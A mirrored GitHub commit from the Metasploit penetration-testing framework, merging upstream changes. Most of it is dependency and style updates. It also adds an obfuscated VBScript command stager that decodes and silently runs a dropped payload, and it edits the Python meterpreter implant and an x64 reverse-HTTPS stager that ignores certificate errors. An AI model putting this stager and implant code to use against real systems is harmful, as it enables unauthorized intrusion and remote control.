mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-05 14:57:30 +01:00
Merge upstream
This commit is contained in:
commit
5fa0eb32a9
7
.gitignore
vendored
7
.gitignore
vendored
@ -3,10 +3,7 @@
|
||||
.idea
|
||||
# Sublime Text project directory (not created by ST by default)
|
||||
.sublime-project
|
||||
# Portable ruby version files for rvm
|
||||
.ruby-gemset
|
||||
.ruby-version
|
||||
# RVM control file
|
||||
# RVM control file, keep this to avoid backdooring Metasploit
|
||||
.rvmrc
|
||||
# YARD cache directory
|
||||
.yardoc
|
||||
@ -16,7 +13,7 @@
|
||||
config/database.yml
|
||||
# simplecov coverage data
|
||||
coverage
|
||||
data/meterpreter/ext_server_pivot.dll
|
||||
data/meterpreter/ext_server_pivot.x86.dll
|
||||
data/meterpreter/ext_server_pivot.x64.dll
|
||||
doc/
|
||||
external/source/meterpreter/java/bin
|
||||
|
1
.ruby-gemset
Normal file
1
.ruby-gemset
Normal file
@ -0,0 +1 @@
|
||||
metasploit-framework
|
1
.ruby-version
Normal file
1
.ruby-version
Normal file
@ -0,0 +1 @@
|
||||
1.9.3-p448
|
@ -15,4 +15,4 @@ notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
|
||||
git:
|
||||
depth: 1
|
||||
depth: 5
|
||||
|
9
Gemfile
9
Gemfile
@ -1,4 +1,4 @@
|
||||
source 'http://rubygems.org'
|
||||
source 'https://rubygems.org'
|
||||
|
||||
# Need 3+ for ActiveSupport::Concern
|
||||
gem 'activesupport', '>= 3.0.0'
|
||||
@ -11,7 +11,7 @@ gem 'nokogiri'
|
||||
# Needed by anemone crawler
|
||||
gem 'robots'
|
||||
# Needed by db.rb and Msf::Exploit::Capture
|
||||
gem 'packetfu', '1.1.8'
|
||||
gem 'packetfu', '1.1.9'
|
||||
|
||||
group :db do
|
||||
# Needed for Msf::DbManager
|
||||
@ -41,7 +41,7 @@ group :development, :test do
|
||||
# 'FactoryGirl.' in factory definitions syntax.
|
||||
gem 'factory_girl', '>= 4.1.0'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
gem 'rake'
|
||||
gem 'rake', '>= 10.0.0'
|
||||
end
|
||||
|
||||
group :test do
|
||||
@ -51,11 +51,10 @@ group :test do
|
||||
gem 'database_cleaner'
|
||||
# testing framework
|
||||
gem 'rspec', '>= 2.12'
|
||||
# add matchers from shoulda, such as query_the_database, which is useful for
|
||||
# testing that the Msf::DBManager activation is respected.
|
||||
gem 'shoulda-matchers'
|
||||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
|
||||
gem 'simplecov', '0.5.4', :require => false
|
||||
# Manipulate Time.now in specs
|
||||
gem 'timecop'
|
||||
|
68
Gemfile.lock
68
Gemfile.lock
@ -1,62 +1,58 @@
|
||||
GEM
|
||||
remote: http://rubygems.org/
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
activemodel (3.2.13)
|
||||
activesupport (= 3.2.13)
|
||||
activemodel (3.2.14)
|
||||
activesupport (= 3.2.14)
|
||||
builder (~> 3.0.0)
|
||||
activerecord (3.2.13)
|
||||
activemodel (= 3.2.13)
|
||||
activesupport (= 3.2.13)
|
||||
activerecord (3.2.14)
|
||||
activemodel (= 3.2.14)
|
||||
activesupport (= 3.2.14)
|
||||
arel (~> 3.0.2)
|
||||
tzinfo (~> 0.3.29)
|
||||
activesupport (3.2.13)
|
||||
i18n (= 0.6.1)
|
||||
activesupport (3.2.14)
|
||||
i18n (~> 0.6, >= 0.6.4)
|
||||
multi_json (~> 1.0)
|
||||
arel (3.0.2)
|
||||
bourne (1.4.0)
|
||||
mocha (~> 0.13.2)
|
||||
builder (3.0.4)
|
||||
database_cleaner (0.9.1)
|
||||
diff-lcs (1.2.2)
|
||||
database_cleaner (1.1.1)
|
||||
diff-lcs (1.2.4)
|
||||
factory_girl (4.2.0)
|
||||
activesupport (>= 3.0.0)
|
||||
i18n (0.6.1)
|
||||
json (1.7.7)
|
||||
metaclass (0.0.1)
|
||||
i18n (0.6.5)
|
||||
json (1.8.0)
|
||||
metasploit_data_models (0.16.6)
|
||||
activerecord (>= 3.2.13)
|
||||
activesupport
|
||||
pg
|
||||
mocha (0.13.3)
|
||||
metaclass (~> 0.0.1)
|
||||
msgpack (0.5.4)
|
||||
mini_portile (0.5.1)
|
||||
msgpack (0.5.5)
|
||||
multi_json (1.0.4)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.5.9)
|
||||
packetfu (1.1.8)
|
||||
nokogiri (1.6.0)
|
||||
mini_portile (~> 0.5.0)
|
||||
packetfu (1.1.9)
|
||||
pcaprub (0.11.3)
|
||||
pg (0.15.1)
|
||||
rake (10.0.4)
|
||||
redcarpet (2.2.2)
|
||||
pg (0.16.0)
|
||||
rake (10.1.0)
|
||||
redcarpet (3.0.0)
|
||||
robots (0.10.1)
|
||||
rspec (2.13.0)
|
||||
rspec-core (~> 2.13.0)
|
||||
rspec-expectations (~> 2.13.0)
|
||||
rspec-mocks (~> 2.13.0)
|
||||
rspec-core (2.13.1)
|
||||
rspec-expectations (2.13.0)
|
||||
rspec (2.14.1)
|
||||
rspec-core (~> 2.14.0)
|
||||
rspec-expectations (~> 2.14.0)
|
||||
rspec-mocks (~> 2.14.0)
|
||||
rspec-core (2.14.5)
|
||||
rspec-expectations (2.14.2)
|
||||
diff-lcs (>= 1.1.3, < 2.0)
|
||||
rspec-mocks (2.13.0)
|
||||
shoulda-matchers (1.5.2)
|
||||
rspec-mocks (2.14.3)
|
||||
shoulda-matchers (2.3.0)
|
||||
activesupport (>= 3.0.0)
|
||||
bourne (~> 1.3)
|
||||
simplecov (0.5.4)
|
||||
multi_json (~> 1.0.3)
|
||||
simplecov-html (~> 0.5.3)
|
||||
simplecov-html (0.5.3)
|
||||
timecop (0.6.1)
|
||||
timecop (0.6.3)
|
||||
tzinfo (0.3.37)
|
||||
yard (0.8.5.2)
|
||||
yard (0.8.7)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
@ -71,10 +67,10 @@ DEPENDENCIES
|
||||
msgpack
|
||||
network_interface (~> 0.0.1)
|
||||
nokogiri
|
||||
packetfu (= 1.1.8)
|
||||
packetfu (= 1.1.9)
|
||||
pcaprub
|
||||
pg (>= 0.11)
|
||||
rake
|
||||
rake (>= 10.0.0)
|
||||
redcarpet
|
||||
robots
|
||||
rspec (>= 2.12)
|
||||
|
4
HACKING
4
HACKING
@ -9,8 +9,8 @@ Code Style
|
||||
In order to maintain consistency and readability, we ask that you
|
||||
adhere to the following style guidelines:
|
||||
|
||||
- Hard tabs, not spaces
|
||||
- Try to keep your lines under 100 columns (assuming four-space tabs)
|
||||
- Standard Ruby two-space soft tabs, not hard tabs.
|
||||
- Try to keep your lines under 100 columns (assuming two-space tabs)
|
||||
- do; end instead of {} for a block
|
||||
- Always use str[0,1] instead of str[0]
|
||||
(This avoids a known ruby 1.8/1.9 incompatibility.)
|
||||
|
49
data/exploits/cmdstager/vbs_b64_noquot
Executable file
49
data/exploits/cmdstager/vbs_b64_noquot
Executable file
@ -0,0 +1,49 @@
|
||||
echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub
|
||||
echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub
|
||||
echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub
|
||||
echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub
|
||||
echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub
|
||||
echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub
|
||||
echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub
|
||||
echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub
|
||||
echo Set wshShell = CreateObject(scriptShell) >>decode_stub
|
||||
echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub
|
||||
echo Set fs = CreateObject(scriptingFS) >>decode_stub
|
||||
echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub
|
||||
echo If file.Size Then >>decode_stub
|
||||
echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub
|
||||
echo data = fd.ReadAll >>decode_stub
|
||||
echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub
|
||||
echo data = Replace(data, vbCrLf, nil) >>decode_stub
|
||||
echo data = base64_decode(data) >>decode_stub
|
||||
echo fd.Close >>decode_stub
|
||||
echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub
|
||||
echo ofs.Write data >>decode_stub
|
||||
echo ofs.close >>decode_stub
|
||||
echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo Wscript.Echo emptyString >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo Function base64_decode(byVal strIn) >>decode_stub
|
||||
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
|
||||
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
|
||||
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
|
||||
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
|
||||
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
|
||||
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
|
||||
echo If Not w2 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
|
||||
echo If Not w3 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
|
||||
echo If Not w4 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
|
||||
echo Next >>decode_stub
|
||||
echo base64_decode = strOut >>decode_stub
|
||||
echo End Function >>decode_stub
|
||||
echo Function mimedecode(byVal strIn) >>decode_stub
|
||||
echo If Len(strIn) = 0 Then >>decode_stub
|
||||
echo mimedecode = -1 : Exit Function >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo End Function >>decode_stub
|
Binary file not shown.
Binary file not shown.
BIN
data/meterpreter/elevator.x86.dll
Executable file
BIN
data/meterpreter/elevator.x86.dll
Executable file
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
data/meterpreter/ext_server_espia.x86.dll
Executable file
BIN
data/meterpreter/ext_server_espia.x86.dll
Executable file
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
data/meterpreter/ext_server_incognito.x86.dll
Executable file
BIN
data/meterpreter/ext_server_incognito.x86.dll
Executable file
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
data/meterpreter/ext_server_lanattacks.x86.dll
Executable file
BIN
data/meterpreter/ext_server_lanattacks.x86.dll
Executable file
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
data/meterpreter/ext_server_mimikatz.x86.dll
Executable file
BIN
data/meterpreter/ext_server_mimikatz.x86.dll
Executable file
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
data/meterpreter/ext_server_priv.x86.dll
Executable file
BIN
data/meterpreter/ext_server_priv.x86.dll
Executable file
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
data/meterpreter/ext_server_sniffer.x86.dll
Executable file
BIN
data/meterpreter/ext_server_sniffer.x86.dll
Executable file
Binary file not shown.
Binary file not shown.
@ -580,20 +580,28 @@ def stdapi_fs_delete_file(request, response):
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_file_expand_path(request, response):
|
||||
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
if path_tlv == '%COMSPEC%':
|
||||
if platform.system() == 'Windows':
|
||||
result = 'cmd.exe'
|
||||
else:
|
||||
result = '/bin/sh'
|
||||
elif path_tlv in ['%TEMP%', '%TMP%'] and platform.system() != 'Windows':
|
||||
if has_windll:
|
||||
path_out = (ctypes.c_char * 4096)()
|
||||
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
|
||||
result = ''.join(path_out)[:path_out_len]
|
||||
elif path_tlv == '%COMSPEC%':
|
||||
result = '/bin/sh'
|
||||
elif path_tlv in ['%TEMP%', '%TMP%']:
|
||||
result = '/tmp'
|
||||
else:
|
||||
result = os.getenv(path_tlv)
|
||||
result = os.getenv(path_tlv, path_tlv)
|
||||
if not result:
|
||||
return ERROR_FAILURE, response
|
||||
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_file_move(request, response):
|
||||
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
||||
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
os.rename(oldname, newname)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_getwd(request, response):
|
||||
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
|
||||
@ -622,7 +630,7 @@ def stdapi_fs_md5(request, response):
|
||||
m = hashlib.md5()
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
m.update(open(path, 'rb').read())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
@ -669,7 +677,7 @@ def stdapi_fs_sha1(request, response):
|
||||
m = hashlib.sha1()
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
m.update(open(path, 'rb').read())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
Binary file not shown.
BIN
data/meterpreter/ext_server_stdapi.x86.dll
Executable file
BIN
data/meterpreter/ext_server_stdapi.x86.dll
Executable file
Binary file not shown.
@ -145,8 +145,9 @@ class STDProcessBuffer(threading.Thread):
|
||||
self.data_lock.acquire()
|
||||
self.data += byte
|
||||
self.data_lock.release()
|
||||
data = self.std.read()
|
||||
self.data_lock.acquire()
|
||||
self.data += self.std.read()
|
||||
self.data += data
|
||||
self.data_lock.release()
|
||||
|
||||
def is_read_ready(self):
|
||||
@ -208,7 +209,7 @@ class PythonMeterpreter(object):
|
||||
|
||||
def run(self):
|
||||
while self.running:
|
||||
if len(select.select([self.socket], [], [], 0)[0]):
|
||||
if len(select.select([self.socket], [], [], 0.5)[0]):
|
||||
request = self.socket.recv(8)
|
||||
if len(request) != 8:
|
||||
break
|
||||
@ -391,13 +392,17 @@ class PythonMeterpreter(object):
|
||||
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
||||
resp += tlv_pack(reqid_tlv)
|
||||
|
||||
if method_tlv['value'] in self.extension_functions:
|
||||
handler = self.extension_functions[method_tlv['value']]
|
||||
handler_name = method_tlv['value']
|
||||
if handler_name in self.extension_functions:
|
||||
handler = self.extension_functions[handler_name]
|
||||
try:
|
||||
#print("[*] running method {0}".format(handler_name))
|
||||
result, resp = handler(request, resp)
|
||||
except Exception, err:
|
||||
#print("[-] method {0} resulted in an error".format(handler_name))
|
||||
result = ERROR_FAILURE
|
||||
else:
|
||||
#print("[-] method {0} was requested but does not exist".format(handler_name))
|
||||
result = ERROR_FAILURE
|
||||
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
||||
resp = struct.pack('>I', len(resp) + 4) + resp
|
||||
|
Binary file not shown.
Binary file not shown.
BIN
data/meterpreter/metsrv.x86.dll
Executable file
BIN
data/meterpreter/metsrv.x86.dll
Executable file
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
data/meterpreter/screenshot.x86.dll
Executable file
BIN
data/meterpreter/screenshot.x86.dll
Executable file
Binary file not shown.
8
data/wordlists/http_owa_common.txt
Normal file
8
data/wordlists/http_owa_common.txt
Normal file
@ -0,0 +1,8 @@
|
||||
aspnet_client/
|
||||
Autodiscover/
|
||||
ecp/
|
||||
EWS/
|
||||
Microsoft-Server-ActiveSync/
|
||||
OAB/
|
||||
PowerShell/
|
||||
Rpc/
|
@ -1,6 +1,7 @@
|
||||
;-----------------------------------------------------------------------------;
|
||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Rewritten for x64 by agix
|
||||
; Modified to account for memory alignment by rwincey
|
||||
; Compatible: Windows 7
|
||||
; Architecture: x64
|
||||
;-----------------------------------------------------------------------------;
|
||||
@ -12,6 +13,7 @@
|
||||
|
||||
load_wininet:
|
||||
; setup the structures we need on the stack...
|
||||
push byte 0 ; alignment
|
||||
mov r14, 'wininet'
|
||||
push r14 ; Push the bytes 'wininet',0 onto the stack.
|
||||
mov r14, rsp ; save pointer to the "wininet" string for LoadLibraryA call.
|
||||
@ -20,6 +22,7 @@ load_wininet:
|
||||
call rbp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
internetopen:
|
||||
push byte 0 ; alignment
|
||||
push byte 0 ; NULL pointer
|
||||
mov rcx, rsp ; LPCTSTR lpszAgent ("\x00")
|
||||
xor rdx, rdx ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
@ -74,6 +77,7 @@ retry:
|
||||
internetsetoption:
|
||||
mov rcx, rsi ; HINTERNET hInternet
|
||||
mov rdx, 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||
push byte 0 ; alignment
|
||||
push qword 0x00003380
|
||||
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
@ -90,6 +94,7 @@ httpsendrequest:
|
||||
xor rdx, rdx ; LPCTSTR lpszHeaders
|
||||
xor r8, r8 ; DWORD dwHeadersLength
|
||||
xor r9, r9 ; LPVOID lpOptional
|
||||
push rdx ; alignment
|
||||
push rdx ; DWORD dwOptionalLength
|
||||
mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||
call rbp
|
||||
|
@ -776,10 +776,10 @@ class Disassembler
|
||||
def strings_scan(minlen=6)
|
||||
ret = []
|
||||
nexto = 0
|
||||
pattern_scan(/[\x20-\x7e]{#{minlen},}/m, nil, 1024) { |o|
|
||||
pattern_scan(/[\x20-\x7e]{#{minlen},}/nm, nil, 1024) { |o|
|
||||
if o - nexto > 0
|
||||
next unless e = get_edata_at(o)
|
||||
str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/m]
|
||||
str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/nm]
|
||||
ret << [o, str] if not block_given? or yield(o, str)
|
||||
nexto = o + str.length
|
||||
end
|
||||
|
@ -231,7 +231,7 @@ class HexWidget < DrawableWidget
|
||||
end
|
||||
if @show_ascii and d
|
||||
x = xa + d_o*@font_width
|
||||
d = d.gsub(/[^\x20-\x7e]/, '.')
|
||||
d = d.gsub(/[^\x20-\x7e]/n, '.')
|
||||
if wp.empty?
|
||||
render[d, :ascii]
|
||||
else
|
||||
@ -393,7 +393,7 @@ class HexWidget < DrawableWidget
|
||||
# pop a dialog, scans the sections for a hex pattern
|
||||
def prompt_search_hex
|
||||
inputbox('hex pattern to search (hex regexp, use .. for wildcard)') { |pat|
|
||||
pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/i) { |o| "\\x#{o}" }
|
||||
pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/ni) { |o| "\\x#{o}" }
|
||||
pat = Regexp.new(pat, Regexp::MULTILINE, 'n') # 'n' = force ascii-8bit
|
||||
list = [['addr']] + @dasm.pattern_scan(pat).map { |a| [Expression[a]] }
|
||||
listwindow("hex search #{pat}", list) { |i| focus_addr i[0] }
|
||||
|
@ -15,7 +15,7 @@ class Meterpreter_x86_Win < Msf::Sessions::Meterpreter
|
||||
def initialize(rstream,opts={})
|
||||
super
|
||||
self.platform = 'x86/win32'
|
||||
self.binary_suffix = 'dll'
|
||||
self.binary_suffix = 'x86.dll'
|
||||
end
|
||||
|
||||
def lookup_error(code)
|
||||
|
@ -57,6 +57,8 @@ require 'msf/core/nop'
|
||||
require 'msf/core/payload'
|
||||
require 'msf/core/post'
|
||||
|
||||
# Custom HTTP Modules
|
||||
require 'msf/http/wordpress'
|
||||
|
||||
# Drivers
|
||||
require 'msf/core/exploit_driver'
|
||||
|
@ -93,8 +93,6 @@ module Auxiliary::AuthBrute
|
||||
next if @@credentials_skipped[fq_user]
|
||||
next if @@credentials_tried[fq_user] == p
|
||||
|
||||
datastore['USERNAME'] = u.to_s
|
||||
datastore['PASSWORD'] = p.to_s
|
||||
ret = block.call(u, p)
|
||||
|
||||
case ret
|
||||
|
@ -128,10 +128,10 @@ module Auxiliary::Login
|
||||
false
|
||||
end
|
||||
|
||||
def password_prompt?
|
||||
def password_prompt?(username=nil)
|
||||
return true if(@recvd =~ @password_regex)
|
||||
if datastore['USERNAME']
|
||||
return true if( !(datastore['USERNAME'].empty?) and @recvd =~ /#{datastore['USERNAME']}'s/)
|
||||
if username
|
||||
return true if( !(username.empty?) and @recvd =~ /#{username}'s/)
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
@ -59,7 +59,7 @@ def get_nmap_ver
|
||||
nmap_cmd = [self.nmap_bin]
|
||||
nmap_cmd << "--version"
|
||||
res << %x{#{nmap_cmd.join(" ")}} rescue nil
|
||||
res.gsub(/[\x0d\x0a]/,"")
|
||||
res.gsub(/[\x0d\x0a]/n,"")
|
||||
end
|
||||
|
||||
# Takes a version string in the form of Major.Minor and compares to
|
||||
@ -68,16 +68,16 @@ end
|
||||
# Comparing an Integer is okay, though.
|
||||
def nmap_version_at_least?(test_ver=nil)
|
||||
raise ArgumentError, "Cannot compare a Float, use a String or Integer" if test_ver.kind_of? Float
|
||||
unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/]
|
||||
unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/n]
|
||||
raise ArgumentError, "Bad Nmap comparison version: #{test_ver.inspect}"
|
||||
end
|
||||
test_ver_str = test_ver.to_s
|
||||
tnum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i}
|
||||
tnum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i}
|
||||
installed_ver = get_nmap_ver()
|
||||
vtag = installed_ver.split[2] # Should be ["Nmap", "version", "X.YZTAG", "(", "http..", ")"]
|
||||
return false if (vtag.nil? || vtag.empty?)
|
||||
return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/) # Drop the tag.
|
||||
inum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i}
|
||||
return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/n) # Drop the tag.
|
||||
inum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i}
|
||||
return true if inum_arr[0] > tnum_arr[0]
|
||||
return false if inum_arr[0] < tnum_arr[0]
|
||||
inum_arr[1].to_i >= tnum_arr[1].to_i
|
||||
@ -228,7 +228,7 @@ def nmap_validate_arg(str)
|
||||
return false
|
||||
end
|
||||
# Check for commas outside of quoted arguments
|
||||
quoted_22 = /\x22[^\x22]*\x22/
|
||||
quoted_22 = /\x22[^\x22]*\x22/n
|
||||
requoted_str = str.gsub(/'/,"\"")
|
||||
if requoted_str.split(quoted_22).join[/,/]
|
||||
print_error "Malformed nmap arguments (unquoted comma): #{str}"
|
||||
|
@ -358,7 +358,7 @@ class DBManager
|
||||
opts.each { |k,v|
|
||||
if (host.attribute_names.include?(k.to_s))
|
||||
unless host.attribute_locked?(k.to_s)
|
||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/, '')
|
||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
|
||||
end
|
||||
else
|
||||
dlog("Unknown attribute for ::Mdm::Host: #{k}")
|
||||
@ -481,7 +481,7 @@ class DBManager
|
||||
|
||||
if (host.attribute_names.include?(k.to_s))
|
||||
unless host.attribute_locked?(k.to_s)
|
||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/, '')
|
||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
|
||||
end
|
||||
else
|
||||
dlog("Unknown attribute for Host: #{k}")
|
||||
@ -1536,12 +1536,12 @@ class DBManager
|
||||
if (token[0])
|
||||
# convert the token to US-ASCII from UTF-8 to prevent an error
|
||||
token[0] = token[0].unpack("C*").pack("C*")
|
||||
token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] }
|
||||
token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] }
|
||||
end
|
||||
|
||||
if (token[1])
|
||||
token[1] = token[1].unpack("C*").pack("C*")
|
||||
token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] }
|
||||
token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] }
|
||||
end
|
||||
|
||||
ret = {}
|
||||
@ -2853,7 +2853,7 @@ class DBManager
|
||||
return REXML::Document.new(data)
|
||||
rescue REXML::ParseException => e
|
||||
dlog("REXML error: Badly formatted XML, attempting to recover. Error was: #{e.inspect}")
|
||||
return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/){ |x| "\\x%.2x" % x.unpack("C*")[0] })
|
||||
return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] })
|
||||
end
|
||||
end
|
||||
end
|
||||
@ -3055,7 +3055,7 @@ class DBManager
|
||||
@import_filedata[:type] = "Appscan"
|
||||
return :appscan_xml
|
||||
when "entities"
|
||||
if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/i
|
||||
if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/ni
|
||||
@import_filedata[:type] = "CI"
|
||||
return :ci_xml
|
||||
end
|
||||
@ -3342,8 +3342,8 @@ class DBManager
|
||||
def inspect_single_packet_http(pkt,wspace,task=nil)
|
||||
# First, check the server side (data from port 80).
|
||||
if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty?
|
||||
if pkt.payload =~ /^HTTP\x2f1\x2e[01]/
|
||||
http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/)
|
||||
if pkt.payload =~ /^HTTP\x2f1\x2e[01]/n
|
||||
http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/n)
|
||||
if http_server_match.kind_of?(MatchData) and http_server_match[1]
|
||||
report_service(
|
||||
:workspace => wspace,
|
||||
@ -3363,8 +3363,8 @@ class DBManager
|
||||
|
||||
# Next, check the client side (data to port 80)
|
||||
if pkt.is_tcp? and pkt.tcp_dst == 80 and !pkt.payload.nil? and !pkt.payload.empty?
|
||||
if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/)
|
||||
auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/)
|
||||
if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/n)
|
||||
auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/n)
|
||||
if auth_match.kind_of?(MatchData) and auth_match[1]
|
||||
